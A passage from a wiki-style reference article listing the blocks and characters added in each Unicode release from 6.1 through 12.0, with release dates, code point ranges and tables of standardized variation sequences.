* Additional heavy punctation marks, raised fist, raised hand, sparkles, heavy arithmetic symbols and curly loops (total 16 characters) were added to '''Dingbats'''.
* Squared logicals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''.
* Separator mark and consonant joiner (total 2 characters) were added to '''Tifinagh'''.
* Bopomofo for Hmu and Ge (total 3 characters) were added to '''Bopomofo Extended'''.
* Reversed Tse (total 2 characters) were added to '''Cyrillic Extended-B'''.
* Additional letters (total 15 characters) were added to '''Latin Extended-D'''.
* Pedagogical symbols (total 16 characters) were added to '''Arabic Presentation Forms-A'''.
* Additional squared, black circled and squared letters and regional indicator letters (total 107 characters) were added to '''Enclosed Alphanumeric Supplement'''.
* Squared katakana, squared ideographs and circled advantage and accept (total 13 characters) were added to '''Enclosed Ideographic Supplement'''.

== Unicode 6.1 ==

Unicode 6.1 was released in January 31, 2012. It encoded 110,116 characters, adding 732 new characters.

=== New blocks ===

* '''Arabic Extended-A''' (U+08A0-U+08FF), containing 39 characters, was added.
* '''Sundanese Supplement''' (U+1CC0-U+1CCF), containing 8 characters, was added.
* '''Meetei Mayek Extensions''' (U+AAE0-U+AAFF), containing 23 characters, was added.
* '''Meroitic Hieroglyphs''' (U+10980-U+1099F), containing 32 characters, was added.
* '''Meroitic Cursive''' (U+109A0-U+109FF), containing 26 characters, was added.
* '''Sora Sompeng''' (U+110D0-U+110FF), containing 35 characters, was added.
* '''Chakma''' (U+11100-U+1114F), containing 67 characters, was added.
* '''Sharada''' (U+11180-U+111DF), containing 83 characters, was added.
* '''Takri''' (U+11680-U+116CF), containing 66 characters, was added.
* '''Miao''' (U+16F00-U+16F9F), containing 133 characters, was added.
* '''Arabic Mathematical Alphabetic Symbols''' (U+1EE00-U+1EEFF), containing 143 characters, was added.

=== Extended blocks ===

* An Armenian Dram sign (total 1 character) was added to '''Armenian'''. (U+058F)
* A sign Samvat (total 1 character) was added to '''Arabic'''. (U+0604)
* An Abbreviation mark (total 1 character) was added to '''Gujarati'''. (U+0AF0)
* Letters for Khmu (total 2 characters) were added to '''Lao'''. (U+0EDE-U+0EDF)
* Capital letter Yn, letter Aen, Hard and Labial sign (total 5 characters) were added to '''Georgian'''. (U+10C7, U+10CD and U+10FD-U+10FF)
* Letters and signs for Old Sundanese (total 9 characters) were added to '''Sundanese'''. (U+1BAB-U+1BAD and U+1BBA-U+1BBF)
* Sign Rotated Ardhavisarga, Candra Above, Jihvamuliya and Uphadhmaniya (total 4 characters) were added to '''Vedic Extensions'''. (U+1CF3-U+1CF6)
* Mathematical diagonals (total 2 characters) were added to '''Miscellaneous Mathematical Symbols-A'''. (U+27CB and U+27CD)
* A letter Bohairic Khei (total 2 characters) were added to '''Coptic'''. (U+2CF2-U+2CF3)
* Small letters Yn and Aen (total 2 characters) were added to '''Georgian Supplement'''. (U+2D27 and U+2D2D)
* Letters Ye and Yo (total 2 characters) were added to '''Tifinagh'''. (U+2D66-U+2D67)
* (total 10 characters) were added to '''Supplemental Punctuation'''. (U+2E32-U+2E3B)
* An additional ideograph for Kanji (total 1 character) was added to '''CJK Unified Ideographs'''. (U+9FCC)
* Combining letter for Slavonic (total 9 characters) were added to '''Cyrillic Extended-B'''. (U+A674-U+A67B and U+A69F)
* Letter C with Bar, capital letter H with Hook and modifier letters for extended IPA (total 5 characters) were added to '''Latin Extended-D'''. (U+A792-U+A793, U+A7AA and U+A7F8-U+A7F9)
* Some additional ideographs for Korea (total 2 characters) were added to '''CJK Compatibility Ideographs'''. (U+FA2E-U+FA2F)
* Symbols for Canadian legal use (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F16A-U+1F16B)
* Typikon symbols (total 4 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F540-U+1F543)
* (total 13 characters) were added to '''Emoticons'''. (U+1F600, U+1F611, U+1F615, U+1F617, U+1F619, U+1F61B, U+1F61F, U+1F626-U+1F627, U+1F62C, U+1F62E-U+1F62F and U+1F634)

== Unicode 6.2 ==

Unicode 6.2 was released in September 26, 2012. It encoded 110,117 characters, adding only 1 new character.

=== Extended blocks ===

* A Turkish Lira sign (total 1 character) was added to '''Currency Symbols'''. (U+20BA)

== Unicode 6.3 ==

Unicode 6.3 was released in September 30, 2013. It encoded 110,122 characters, adding only 5 new characters.

=== Extended blocks ===

* A Letter mark (total 1 character) was added to '''Arabic'''. (U+061C)
* Isolate directional format characters (total 4 characters) were added to '''General Punctuation'''. (U+2066-U+2069)

== Unicode 7.0 ==

Unicode 7.0 was released in June 16, 2014. It encoded 112,956 characters, adding 2,834 new characters.

=== New blocks ===

* '''Combining Diacritical Marks Extended''' (U+1AB0-U+1AFF), containing 15 marks, was added.
* '''Myanmar Extended-B''' (U+A9E0-U+A9FF), containing 31 letters, was added.
* '''Latin Extended-E''' (U+AB30-U+AB6F), containing 50 letters, was added.
* '''Coptic Epact Numbers''' (U+102E0-U+102FF), containing 28 numbers, was added.
* '''Old Permic''' (U+10350-U+1037F), containing 43 letters, was added.
* '''Elbasan''' (U+10500-U+1052F), containing 50 letters, was added.
* '''Caucasian Albanian''' (U+10530-U+1056F), containing 53 letters and marks, was added.
* '''Linear A''' (U+10600-U+1077F), containing 341 signs, was added.
* '''Palmyrene''' (U+10860-U+1087F), containing 32 letters, was added.
* '''Nabataean''' (U+10880-U+108AF), containing 40 letters and numbers, was added.
* '''Old North Arabian''' (U+10A80-U+10A9F), containing 32 letters and numbers, was added.
* '''Manichaean''' (U+10AC0-U+10AFF), containing 51 characters, was added.
* '''Psalter Pahlavi''' (U+10B80-U+10BAF), containing 29 characters, was added.
* '''Mahajani''' (U+11150-U+1117F), containing 39 letters and signs, was added.
* '''Sinhala Archaic Numbers''' (U+111E0-U+111FF), containing 20 numbers, was added.
* '''Khojki''' (U+11200-U+1124F), containing 61 characters, was added.
* '''Khudawadi''' (U+112B0-U+112FF), containing 69 characters, was added.
* '''Grantha''' (U+11300-U+1137F), containing 83 characters, was added.
* '''Tirhuta''' (U+11480-U+114DF), containing 82 characters, was added.
* '''Siddham''' (U+11580-U+115FF), containing 72 characters, was added.
* '''Modi''' (U+11600-U+1165F), containing 79 characters, was added.
* '''Warang Citi''' (U+118A0-U+118FF), containing 84 letters and numbers, was added.
* '''Pau Cin Hau''' (U+11AC0-U+11AFF), containing 57 characters, was added.
* '''Mro''' (U+16A40-U+16A6F), containing 43 characters, was added.
* '''Bassa Vah''' (U+16AD0-U+16AFF), containing 36 characters, was added.
* '''Pahawh Hmong''' (U+16B00-U+16B8F), containing 127 letters and signs, was added.
* '''Duployan''' (U+1BC00-U+1BC9F), containing 143 characters, was added.
* '''Shorthand Format Controls''' (U+1BCA0-U+1BCAF), containing 4 format characters, was added.
* '''Mende Kikakui''' (U+1E800-U+1E8DF), containing 213 syllables and numbers, was added.
* '''Ornamental Dingbats''' (U+1F650-U+1F67F), containing 48 pictographic characters, was added.
* '''Geometric Shapes Extended''' (U+1F780-U+1F7FF), containing 85 pictographic characters, was added.
* '''Supplemental Arrows-C''' (U+1F800-U+1F8FF), containing 148 pictographic characters, was added.

=== Extended blocks ===

* A capital letter Yot (total 1 character) was added to '''Greek and Coptic'''. (U+037F)
* Letters for Orok, Komi and Khanty (total 8 characters) were added to '''Cyrillic Supplement'''. (U+0528-U+052F)
* An Eternity sign (total 2 characters) were added to '''Armenian'''. (U+058D-U+058E)
* A Number Mark Above (total 1 character) was added to '''Arabic'''. (U+0605)
* Letters for African, Philippine, Turkic, Berber, Belarusian, Palula and Shina languages (total 8 characters) were added to '''Arabic Extended-A'''. (U+08A1, U+08AD-U+08B2 and U+08FF)
* A letter for Marwari (total 1 character) was added to '''Devanagari'''. (U+0978)
* A sign Anji (total 1 character) was added to '''Bengali'''. (U+0980)
* Sign Candrabindu and letter Llla (total 2 characters) were added to '''Telugu'''. (U+0C00 and U+0C34)
* A Sign Candrabindu (total 1 character) was added to '''Kannada'''. (U+0C81)
* A Sign Candrabindu (total 1 character) was added to '''Malayalam'''. (U+0D01)
* Lith Numerals (total 10 characters) were added to '''Sinhala'''. (U+0DE6-U+0DEF)
* Additional Old English runes (total 8 characters) were added to '''Runic'''. (U+16F1-U+16F8)
* Letters Gyan and Tra (total 2 characters) were added to '''Limbu'''. (U+191D-U+191E)
* Signs for Jaiminiya Sama Veda (total 2 characters) were added to '''Vedic Extensions'''. (U+1CF8-U+1CF9)
* Marks for Germanic and American lexicology (total 15 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DE7-U+1DF5)
* Nordic Mark, Manat and Ruble sign (total 3 characters) were added to '''Currency Symbols'''. (U+20BB-U+20BD)
* Playback symbols from Webdings font (total 7 characters) were added to '''Miscellaneous Technical'''. (U+23F4-U+23FA)
* A Scissors symbol from Wingdings 2 font (total 1 character) was added to '''Dingbats'''. (U+2700)
* Arrows for Lithuanian dialectology and symbols from Wingdings 3 font (total 115 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2B4D-U+2B4F, U+2B5A-U+2B5F, U+2B60-U+2B73, U+2B76-U+2B95, U+2B98-U+2BB9, U+2BBD-U+2BC8 and U+2BCA-U+2BD1)
* (total 7 characters) were added to '''Supplemental Punctuation'''. (U+2E3C-U+2E42)
* Early Cyrillic letters and letters for Lithuanian dialectology (total 6 characters) were added to '''Cyrillic Extended-B'''. (U+A698-U+A69D)
* Letters for European, American and African orthography (total 18 characters) were  added to '''Latin Extended-D'''. (U+A794-U+A79F, U+A7AB-U+A7AD, U+A7B0-U+A7B1 and U+A7F7)
* Tone marks for Tai Laing and letters for Shwe Palaung (total 4 characters) were added to '''Myanmar Extended-A'''. (U+AA7C-U+AA7F)
* Combining phonetic marks (total 7 characters) were added to '''Combining Half Marks'''. (U+FE27-U+FE2D)
* Additional mathematical symbols (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018B-U+1018C)
* A Greek Tau Rho symbol (total 1 character) was added to '''Ancient Symbols'''. (U+101A0)
* A letter Ess (total 1 character) was added to '''Old Italic'''. (U+1031F)
* A Number Joiner (total 1 character) was added to '''Brahmi'''. (U+1107F)
* Sutra mark and sign Ekam (total 2 characters) were added to '''Sharada'''. (U+111CD and U+111DA)
* Additional cuneiform signs (total 42 characters) were added to '''Cuneiform'''. (U+1236F-U+12398)
* Additional numbers, vulgar fractions and a punctuation mark (total 13 characters) were added to '''Cuneiform Numbers and Punctuation'''. (U+12463-U+1246E and U+12474)
* Red Joker, Fool and trumps (total 23 characters) were added to '''Playing Cards'''. (U+1F0BF and U+1F0E0-U+1F0F5)
* Dingbat normal and negative sans-serif digit zero (total 2 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F10B-U+1F10C)
* Symbols from Webdings, Wingdings 1 and 2 font (total 209 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F321-U+1F32C, U+1F336, U+1F37D, U+1F394-U+1F39F, U+1F3C5, U+1F3CB-U+1F3CE, U+1F3D4-U+1F3DF, U+1F3F1-U+1F3F7, U+1F43F, U+1F441, U+1F4F8, U+1F4FD-U+1F4FE, U+1F53E-U+1F53F, U+1F544-U+1F54A, U+1F568-U+1F579, U+1F57B-U+1F5A3 and U+1F5A5-U+1F5FA)
* Slightly frowning and smiling faces emoji (total 2 characters) were added to '''Emoticons'''. (U+1F641-U+1F642)
* Symbols from Webdings and Wingdings 2 font (total 27 characters) were added to '''Transport and Map Symbols'''. (U+1F6C6-U+1F6CF, U+1F6E0-U+1F6EC and U+1F6F0-U+1F6F3)

== Unicode 8.0 ==

Unicode 8.0 was released in June 17, 2015. It encoded 120,672 characters, adding 7,716 new characters.

=== New blocks ===

* '''Cherokee Supplement''' (U+AB70-U+ABBF), containing 80 lowercase letters, was added.
* '''Hatran''' (U+108E0-U+108FF), containing 26 letters, was added.
* '''Old Hungarian''' (U+10C80-U+10CFF), containing 108 letters, was added.
* '''Multani''' (U+11280-U+112AF), containing 38 letters, was added.
* '''Ahom''' (U+11700-U+1173F), containing 57 letters, was added.
* '''Early Dynastic Cuneiform''' (U+12480-U+1254F), containing 196 characters, was added.
* '''Anatolian Hieroglyphs''' (U+14400-U+1467F), containing 583 characters, was added.
* '''Sutton SignWriting''' (U+1D800-U+1DAAF), containing 672 signs, was added.
* '''Supplemental Symbols and Pictographs''' (U+1F900-U+1F9FF), containing 15 pictographic characters, was added.
* '''CJK Unified Ideographs Extension E''' (U+2B820-U+2CEAF), containing 5762 characters, was added.

=== Extended blocks ===

* Letters for Arwi (total 3 characters) were added to '''Arabic Extended-A'''. (U+08B3-U+08B4 and U+08E3)
* A letter for Avestan transliteration (total 1 character) was added to '''Gujarati'''. (U+0AF9)
* A letter for Andhra Pradesh (total 1 character) was added to '''Telugu'''. (U+0C5A)
* An archaic letter II (total 1 character) was added to '''Malayalam'''. (U+0D5F)
* A letter Mv and small letters (total 7 characters) were added to '''Cherokee'''. (U+13F5 and U+13F8-U+13FD)
* A Georgian Lari sign (total 1 character) was added to '''Currency Symbols'''. (U+20BE)
* Turned digits (total 2 characters) were added to '''Number Forms'''. (U+218A-U+218B)
* Two headed arrows with triangle arrowheads (total 4 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BEC-U+2BEF)
* Some additional ideographs (total 9 characters) were added to '''CJK Unified Ideographs'''. (U+9FCD-U+9FD5)
* A combining letter Ef (total 1 character) was added to '''Cyrillic Extended-B'''. (U+A69E)
* Sinological dot, phonetic extension for African languages, letters for American and Gabonese orthography (total 7 characters) were added to '''Latin Extended-D'''. (U+A78F and U+A7B2-U+A7B7)
* Sign Siddham and letter Jain Om (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FC-U+A8FD)
* Letters for Yakut transliteration (total 4 characters) were added to '''Latin Extended-E'''. (U+AB60-U+AB63)
* A combining mark for Church Slavonic (total 2 characters) were added to '''Combining Half Marks'''. (U+FE2E-U+FE2F)
* Numerals and vulgar fractions (total 64 characters) were added to '''Meroitic Cursive'''. (U+109BC-U+109BD, U+109C0-U+109CF and U+109D2-U+109FF)
* Sandhi mark, diacritical marks for Kashmiri, sign Siddham and punctuation marks (total 9 characters) were added to '''Sharada'''. (U+111C9-U+111CC and U+111DB-U+111DF)
* Combining Anusvara Above and letter Om (total 2 characters) were added to '''Grantha'''. (U+11300 and U+11350)
* Section marks and alternate letters (total 20 characters) were added to '''Siddham'''. (U+115CA-U+115DD)
* An additional sign (total 1 character) was added to '''Cuneiform'''. (U+12399)
* East-Slavic musical symbols (total 11 characters) were added to '''Musical Symbols'''. (U+1D1DE-U+1D1E8)
* (total 24 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F32D-U+1F32F, U+1F37E-U+1F37F, U+1F3CF-U+1F3D3, U+1F3F8-U+1F3FF, U+1F4FF and U+1F54B-U+1F54F)
* Upside Down Face and Face With Rolling Eyes emoji (total 2 characters) were added to '''Emoticons'''. (U+1F643-U+1F644)
* A Place of Worship emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6D0)

== Unicode 9.0 ==

Unicode 9.0, was released in June 21, 2016. It encoded 128,172 characters, adding 7,500 new characters.

=== New blocks ===

* '''Cyrillic Extended-C''' (U+1C80-U+1C8F), containing 9 letters, was added.
* '''Osage''' (U+104B0-U+104FF), containing 72 letters, was added.
* '''Newa''' (U+11400-U+1147F), containing 92 letters, was added.
* '''Mongolian Supplement''' (U+11660-U+1167F), containing 13 letters, was added.
* '''Bhaiksuki''' (U+11C00-U+11C6F), containing 97 letters, was added.
* '''Marchen''' (U+11C70-U+11CBF), containing 68 letters, was added.
* '''Ideographic Symbols and Punctuation''' (U+16FE0-U+16FFF), containing 1 letter, was added.
* '''Tangut''' (U+17000-U+187FF), containing 6125 letters, was added.
* '''Tangut Components''' (U+18800-U+18AFF), containing 755 letters, was added.
* '''Glagolitic Supplement''' (U+1E000-U+1E02F), containing 38 letters, was added.
* '''Adlam''' (U+1E900-U+1E95F), containing 87 letters, was added.

=== Extended blocks ===

* Letters for Bravanese, Warsh and Quranic marks used in Pakistan (total 23 characters) were added to '''Arabic Extended-A'''. (U+08B6-U+08BD and U+08D4-U+08E2)
* A sign Spacing Candrabindu (total 1 character) were added to '''Kannada'''. (U+0C80)
* Sign Para, Chillu letters and vulgar fractions (total 14 characters) were added to '''Malayalam'''. (U+0D4F, U+0D54-U+0D56, U+0D58-U+0D5E and U+0D76-U+0D78)
* A diacritical mark for Newa (total 1 character) was added to '''Combining Diacritical Marks Supplement'''. (U+1DFB)
* Power symbols (total 4 characters) were added to '''Miscellaneous Technical'''. (U+23FB-U+23FE)
* Punctuation marks for Church Slavonic (total 2 characters) were added to '''Supplemental Punctuation'''. (U+2E43-U+2E44)
* A letter for Unifon (total 1 character) was added to '''Latin Extended-D'''. (U+A7AE)
* A sign Candrabindu (total 1 character) was added to '''Saurashtra'''. (U+A8C5)
* Indiction sign and a currency symbol (total 2 characters) were added to '''Ancient Greek Numbers'''. (U+1018D-U+1018E)
* A sign Sukun (total 1 character) was added to '''Khojki'''. (U+1123E)
* Japanese TV symbols (total 18 characters) were added to '''Enclosed Alphanumeric Supplement'''. (U+1F19B-U+1F1AC)
* A Japanese TV symbol (total 1 character) was added to '''Enclosed Ideographic Supplement'''. (U+1F23B)
* A dancing man and Black Heart emoji (total 2 characters) were added to '''Miscellaneous Symbols and Pictographs'''. (U+1F57A and U+1F5A4)
* Octagonal Sign, Shopping Trolley, scooters and a Canoe emoji (total 5 characters) were added to '''Transport and Map Symbols'''. (U+1F6D1-U+1F6D2 and U+1F6F4-U+1F6F6)
* (total 67 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F919-U+1F91E, U+1F920-U+1F927, U+1F930, U+1F933-U+1F93E, U+1F940-U+1F94B, U+1F950-U+1F95E and U+1F985-U+1F991)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|0030 FE00
|
|short diagonal stroke form # DIGIT ZERO
|-
|1000 FE00
|
|dotted form # MYANMAR LETTER KA
|-
|1002 FE00
|
|dotted form # MYANMAR LETTER GA
|-
|1004 FE00
|
|dotted form # MYANMAR LETTER NGA
|-
|1010 FE00
|
|dotted form # MYANMAR LETTER TA
|-
|1011 FE00
|
|dotted form # MYANMAR LETTER THA
|-
|1015 FE00
|
|dotted form # MYANMAR LETTER PA
|-
|1019 FE00
|
|dotted form # MYANMAR LETTER MA
|-
|101A FE00
|
|dotted form # MYANMAR LETTER YA
|-
|101C FE00
|
|dotted form # MYANMAR LETTER LA
|-
|101D FE00
|
|dotted form # MYANMAR LETTER WA
|-
|1022 FE00
|
|dotted form # MYANMAR LETTER SHAN A
|-
|1031 FE00
|
|dotted form # MYANMAR VOWEL SIGN E
|-
|1075 FE00
|
|dotted form # MYANMAR LETTER SHAN KA
|-
|1078 FE00
|
|dotted form # MYANMAR LETTER SHAN CA
|-
|107A FE00
|
|dotted form # MYANMAR LETTER SHAN NYA
|-
|1080 FE00
|
|dotted form # MYANMAR LETTER SHAN THA
|-
|2205 FE00
|
|zero with long diagonal stroke overlay form # EMPTY SET
|-
|AA60 FE00
|
|dotted form # MYANMAR LETTER KHAMTI GA
|-
|AA61 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CA
|-
|AA62 FE00
|
|dotted form # MYANMAR LETTER KHAMTI CHA
|-
|AA63 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JA
|-
|AA64 FE00
|
|dotted form # MYANMAR LETTER KHAMTI JHA
|-
|AA65 FE00
|
|dotted form # MYANMAR LETTER KHAMTI NYA
|-
|AA66 FE00
|
|dotted form # MYANMAR LETTER KHAMTI TTA
|-
|AA6B FE00
|
|dotted form # MYANMAR LETTER KHAMTI NA
|-
|AA6C FE00
|
|dotted form # MYANMAR LETTER KHAMTI SA
|-
|AA6F FE00
|
|dotted form # MYANMAR LETTER KHAMTI FA
|-
|AA7A FE00
|
|dotted form # MYANMAR LETTER AITON RA
|-
|…
|
|278 additional emoji variation sequences
|}

== Unicode 10.0 ==

Unicode 10.0, was released in June 20, 2017. It encoded 136,690 characters, adding 8,518 new characters.

=== New blocks ===

* '''Syriac Supplement''' (U+0860-U+086F), containing 11 characters, was added.
* '''Zanabazar Square''' (U+11A00-U+11A4F), containing 72 characters, was added.
* '''Soyombo''' (U+11A50-U+11AAF), containing 80 characters, was added.
* '''Masaram Gondi''' (U+11D00-U+11D5F), containing 75 characters, was added.
* '''Kana Extended-A''' (U+1B100-U+1B12F), containing 31 characters, was added.
* '''Nushu''' (U+1B170-U+1B2FF), containing 396 characters, was added.
* '''CJK Unified Ideographs Extension F''' (U+2CEB0-U+2EBEF), containing 7,473 characters, was added.

=== Extended blocks ===

* A Vedic Anusvara and Abbreviation mark (total 2 characters) were added to '''Bengali'''. (U+09FC-U+09FD)
* Letters for Arabic transliteration (total 6 characters) were added to '''Gujarati'''. (U+0AFA-U+0AFF)
* A combining Anusvara Above and Viramas (total 3 characters) were added to '''Malayalam'''. (U+0D00 and U+0D3B-U+0D3C)
* A sign Atikrama (total 1 character) was added to '''Vedic Extensions'''. (U+1CF7)
* Combining diacritical marks for Church Slavonic (total 4 characters) were added to '''Combining Diacritical Marks Supplement'''. (U+1DF6-U+1DF9)
* A Bitcoin sign (total 1 character) was added to '''Currency Symbols'''. (U+20BF)
* An Observe Eye symbol (total 1 character) was added to '''Miscellaneous Technical'''. (U+23FF)
* A Group mark (total 1 character) was added to '''Miscellaneous Symbols and Arrows'''. (U+2BD2)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E45-U+2E49)
* A letter O with Dot Above (total 1 character) was added to '''Bopomofo'''. (U+312E)
* Ideographs for Slavonic transliteration (total 21 characters) were added to '''CJK Unified Ideographs'''. (U+9FD6-U+9FEA)
* Letters for North Italic (total 3 characters) were added to '''Old Italic'''. (U+1032D-U+1032F)
* An Iteration mark for Nushu (total 1 character) was added to '''Ideographic Symbols and Punctuation'''. (U+16FE1)
* Letters for Hentaigana (total 254 characters) were added to '''Kana Supplement'''. (U+1B002-U+1B0FF)
* Symbols for Chinese Folk religion (total 6 characters) were added to '''Enclosed Ideographic Supplement'''. (U+1F260-U+1F265)
* Stupa, Pagoda, Sled and Flying Saucer emoji (total 4 characters) were added to '''Transport and Map Symbols'''. (U+1F6D3-U+1F6D4 and U+1F6F7-U+1F6F8)
* (total 66 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F900-U+1F90B, U+1F91F, U+1F928-U+1F92F, U+1F931-U+1F932, U+1F94C, U+1F95F-U+1F96B, U+1F992-U+1F997 and U+1F9D0-U+1F9E6)

== Unicode 11.0 ==

Unicode 11.0, was released in June 5, 2018. It encoded 137,374 characters, adding 684 new characters.

=== New blocks ===

* '''Georgian Extended''' (U+1C90-U+1CBF), containing 46 characters, was added.
* '''Hanifi Rohingya''' (U+10D00-U+10D3F), containing 50 characters, was added.
* '''Old Sogdian''' (U+10F00-U+10F2F), containing 40 characters, was added.
* '''Sogdian''' (U+10F30-U+10F6F), containing 42 characters, was added.
* '''Dogra''' (U+11800-U+1184F), containing 60 characters, was added.
* '''Gunjala Gondi''' (U+11D60-U+11DAF), containing 63 characters, was added.
* '''Makasar''' (U+11EE0-U+11EFF), containing 25 characters, was added.
* '''Medefaidrin''' (U+16E40-U+16E9F), containing 91 characters, was added.
* '''Mayan Numerals''' (U+1D2E0-U+1D2FF), containing 20 characters, was added.
* '''Indic Siyaq Numbers''' (U+1EC70-U+1ECBF), containing 68 characters, was added.
* '''Chess Symbols''' (U+1FA00-U+1FA6F), containing 14 characters, was added.

=== Extended blocks ===

* Small letters Turned Ayb and Yi with Stroke (total 2 characters) were added to '''Armenian'''. (U+0560 and U+0588)
* A triangle Yod (total 1 character) were added to '''Hebrew'''. (U+05EF)
* A Dantayalan and currency symbols (total 3 characters) were added to '''N'Ko'''. (U+07FD-U+07FF)
* A Small Low Waw (total 1 character) was added to '''Arabic Extended-A'''. (U+08D3)
* A Sandhi mark (total 1 character) was added to '''Bengali'''. (U+09FE)
* An Abbreviation mark (total 1 character) was added to '''Gurmukhi'''. (U+0A76)
* A combining Anusvara Above (total 1 character) was added to '''Telugu'''. (U+0C04)
* A sign Siddham (total 1 character) was added to '''Kannada'''. (U+0C84)
* A letter for Buryat (total 1 character) was added to '''Mongolian'''. (U+1878)
* Symbols for chess notation, astrological and half star symbols (total 43 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BBA-U+2BBC, U+2BD3-U+2BEB and 2BF0-U+2BFE)
* Medieval punctuation marks (total 5 characters) were added to '''Supplemental Punctuation'''. (U+2E4A-U+2E4E)
* A letter NN (total 1 character) was added to '''Bopomofo'''. (U+312F)
* Some ideographs for Kanji (total 5 characters) were added to '''CJK Unified Ideographs'''. (U+9FEB-U+9FEF)
* A small capital Q and a letter for Mazahua (total 3 characters) were added to '''Latin Extended-D'''. (U+A7AF and U+A7B8-U+A7B9)
* Letter and vowel sign Ay (total 2 characters) were added to '''Devanagari Extended'''. (U+A8FE-U+A8FF)
* Letters Ttta, Vha and a vulgar fraction (total 3 characters) were added to '''Kharoshthi'''. (U+10A34-U+10A35 and U+10A48)
* A Number Sign Above (total 1 character) was added to '''Kaithi'''. (U+110CD)
* Letter Lhaa, vowel sign Aa and Ei (total 3 characters) were added to '''Chakma'''. (U+11144-U+11146)
* A combining Bindu Below (total 1 character) was added to '''Grantha'''. (U+1133B)
* A Sandhi mark (total 1 character) was added to '''Newa'''. (U+1145E)
* An alternate letter Ba (total 1 character) was added to '''Ahom'''. (U+1171A)
* A mark Pluta (total 1 character) was added to '''Soyombo'''. (U+11A9D)
* Additional ideographs (total 5 characters) were added to '''Tangut'''. (U+187ED-U+187F1)
* Tally marks (total 7 characters) were added to '''Counting Rod Numerals'''. (U+1D372-U+1D378)
* A Copyleft symbol (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F12F)
* A Skateboard emoji (total 1 character) was added to '''Transport and Map Symbols'''. (U+1F6F9)
* Normal and negative circled shapes (total 4 characters) were added to '''Geometric Shapes Extended'''. (U+1F7D5-U+1F7D8)
* (total 65 characters) were added to '''Supplemental Symbols and Pictographs'''. (U+1F94D-U+1F94F, U+1F96C-U+1F970, U+1F973-U+1F976, U+1F97A, U+1F97C-U+1F97F, U+1F998-U+1F99F, U+1F9A0-U+1F9A2, U+1F9B0-U+1F9B9, U+1F9C1-U+1F9C2 and U+1F9E7-U+1F9FF)

===Variation Sequences===
Here is a table with new standardized variation sequences:
{| class=&quot;wikitable mw-collapsible mw-collapsed&quot;
|-
!Character Sequence
!Context
!Description of Variation Appearance
|-
|FF10 FE00
|
|short diagonal stroke form # FULLWIDTH DIGIT ZERO
|}

== Unicode 12.0 ==

Unicode 12.0 was released on March 5, 2019. It encoded 137,928 characters, adding 554 new characters.

=== New blocks ===

* '''Elymaic''' (U+10FE0-U+10FFF), containing 23 characters, was added.
* '''Nandinagari''' (U+119A0-U+119FF), containing 65 characters, was added.
* '''Tamil Supplement''' (U+11FC0-U+11FFF), containing 51 characters, was added.
* '''Egyptian Hieroglyph Format Controls''' (U+13430-U+1343F), containing 9 characters, was added.
* '''Small Kana Extension''' (U+1B130-U+1B16F), containing 7 characters, was added.
* '''Nyiakeng Puachue Hmong''' (U+1E100-U+1E14F), containing 71 characters, was added.
* '''Wancho''' (U+1E2C0-U+1E2FF), containing 59 characters, was added.
* '''Ottoman Siyaq Numbers''' (U+1ED00-U+1ED4F), containing 61 characters, was added.
* '''Symbols and Pictographs Extended-A''' (U+1FA70-U+1FAFF), containing 16 characters, was added.

=== Extended blocks ===

* A sign Siddham (total 1 character) was added to '''Telugu'''. (U+0C77)
* Letters for Pail and Sanskrit (total 15 characters) were added to '''Lao'''. (U+0E86, U+0E89, U+0E8C, U+0E8E-U+0E93, U+0E98, U+0EA0, U+0EA8-U+0EA9, U+0EAC and U+0EBA)
* A sign Double Anusvara Antargomukha (total 1 character) was added to '''Vedic Extensions'''. (U+1CFA)
* An astrological symbol and Hellschreiber Pause symbol (total 2 characters) were added to '''Miscellaneous Symbols and Arrows'''. (U+2BC9 and U+2BFF)
* A Cornish Verse Divider (total 1 character) was added to '''Supplemental Punctuation'''. (U+2E4F)
* Egyptological letters, Anglicana W and letters for early Pinyin (total 11 characters) were added to '''Latin Extended-D'''. (U+A7BA-U+A7BF and U+A7C2-U+A7C6)
*Sinological phonetic letters (total 2 characters) were added to '''Latin Extended-E'''. (U+AB66-U+AB67)
* A Vedic Anusvara (total 1 character) was added to '''Newa'''. (U+1145F)
* An archaic letter Kha (total 1 character) was added to '''Takri'''. (U+116B8)
* Sign Jihvamuliya and Uphadhmaniya (total 2 characters) were added to '''Soyombo'''. (U+11A84-U+11A85)
* Letters for various Yi and Miao languages (total 16 characters) were added to '''Miao'''. (U+16F45-U+16F4A, U+16F4F and U+16F7F-U+16F87)
* Marks for Ancient Chinese texts (total 2 characters) were added to '''Ideographic Symbols and Punctuation'''. (U+16FE2-U+16FE3)
* Some additional ideographs (total 6 characters) were added to '''Tangut'''. (U+187F2-U+187F7)
* A Nasalization mark (total 1 character) was added to '''Adlam'''. (U+1E94B)
* A Spanish and Portuguese register mark (total 1 character) was added to '''Enclosed Alphanumeric Supplement'''. (U+1F16C)
* Hindu Temple and Auto Rickshaw emoji (total 2 characters) were added to '''Transport and Map Symbols'''. (U+1F6D5 and U+1F6FA)
* Large colored circles and boxes (total 12 characters) were added to '''Geometric Shapes Extended'''. (U+1F7E0-U+1F7EB)
